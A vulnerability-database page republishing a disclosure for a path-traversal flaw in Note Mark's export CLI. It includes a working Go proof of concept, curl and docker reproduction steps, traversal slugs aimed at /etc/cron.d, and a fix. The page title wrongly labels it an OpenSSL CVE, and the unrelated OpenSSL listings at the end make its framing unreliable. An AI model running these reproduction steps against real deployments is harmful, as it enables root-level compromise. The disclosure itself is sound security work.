Skip to main content

OpenSSL CVE-2026-50553

HIGH
Improper Input Validation (CWE-20)
2026-07-09 https://github.com/enchant97/note-mark GHSA-rqrh-8wpv-x7hh
Share

Lifecycle Timeline

1
Analysis Generated
Jul 09, 2026 - 14:27 vuln.today

DescriptionCVE.org

Summary

Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.

The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.

This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug - used in the very same path.Join calls in the same two export functions - were left raw, and their input-side pattern guard is bypassable as shown above.

Vulnerable code

Slug input validation (backend/db/types.go, v0.19.4):

go
type CreateBook struct {
	Name     string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug     string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
	IsPublic bool   `json:"isPublic,omitempty" default:"false"`
}

type CreateNote struct {
	Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}

huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):

go
// schema.go
if s.Pattern != "" {
	s.patternRe = regexp.MustCompile(s.Pattern)
go
// validate.go
if s.patternRe != nil {
	if !s.patternRe.MatchString(str) {
		res.Add(path, v, s.msgPattern)

regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.

Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:

go
// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
	bookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw
	for _, note := range book.Notes {
		noteDir := path.Join(bookDir, note.Slug)                // note.Slug raw
		if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
			return err
		}
		f, err := os.Create(path.Join(noteDir, "_index.md"))    // escapes exportDir
go
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
	log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
	continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))

Impact

A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.

Attack scenario

  1. Attacker registers / uses any normal user account.
  2. Attacker POST /api/books (or a note) with slug = ../../../../../../etc/cron.d/x (passes the unanchored [a-z0-9-]+ pattern). Stored verbatim.
  3. Admin runs note-mark migrate export-v1 --export-dir /data/backup (root).
  4. Exporter does path.Join("/data/backup", username, "../../../../../../etc/cron.d/x") which yields /etc/cron.d/x, then os.MkdirAll creates it and os.Create(path.Join(noteDir, "_index.md")) writes attacker-influenced content outside /data/backup.

Proof of concept

Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.

go
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"path"
	"strings"

	"github.com/danielgtaylor/huma/v2"
	"github.com/danielgtaylor/huma/v2/adapters/humago"
)

// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
	Name     string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug     string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
	IsPublic bool   `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
	Body struct {
		Slug string `json:"slug"`
	}
}

func main() {
	mux := http.NewServeMux()
	api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
	var stored string
	huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
		func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
			stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
			out := &CreateBookOutput{}
			out.Body.Slug = in.Body.Slug
			return out, nil
		})

	const traversalSlug = `../../../../../../tmp/nmpoc-escape`
	body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
	req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
	req.Header.Set("Content-Type", "application/json")
	rec := httptest.NewRecorder()
	mux.ServeHTTP(rec, req)
	fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)

	// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
	negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
	negReq.Header.Set("Content-Type", "application/json")
	negRec := httptest.NewRecorder()
	mux.ServeHTTP(negRec, negReq)
	fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)

	// Export sink expression from backend/cli/migrate.go:187,191,203.
	exportDir := "/tmp/nmpoc-exportroot"
	_ = os.RemoveAll(exportDir)
	_ = os.RemoveAll("/tmp/nmpoc-escape")
	_ = os.MkdirAll(exportDir, 0o755)
	bookDir := path.Join(exportDir, "victim", stored)
	noteDir := path.Join(bookDir, "n")
	_ = os.MkdirAll(noteDir, 0o755)
	outPath := path.Join(noteDir, "_index.md")
	_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
	escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
	fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
	if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
		fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
	}
}

Verbatim output (go run ., huma v2.37.3, go1.26.1):

[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"

The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.

End-to-end reproduction

Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):

bash
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
  -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \
  | sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')
# 3. create a book with a traversing slug - passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
  -b "Auth-Session-Token=$TOKEN" \
  -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
#    response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/

The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).

Suggested fix

Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:

go
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
	log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
	continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)

Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.

Affected versions

<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).

Fix PR

A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.

Credit

Reported by tonghuaroot.

AnalysisAI

Root-privileged arbitrary directory creation and file write affects Note Mark (self-hosted notes application) versions <= v0.19.4, arising because book and note slug validation uses the unanchored huma OpenAPI pattern '[a-z0-9-]+', letting a low-privilege authenticated user store a path-traversal slug such as '../../../../etc/cron.d/x'. When an administrator later runs the 'note-mark migrate export' or 'export-v1' CLI (routinely as root in Docker), the exporter joins the raw slug into the output path and writes '_index.md' outside the export directory, enabling escalation to code execution as root. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Recommended ActionAI

Within 24 hours: Audit all systems running Note Mark v0.19.4 or earlier; isolate from production if feasible pending remediation. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Share

CVE-2026-50553 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy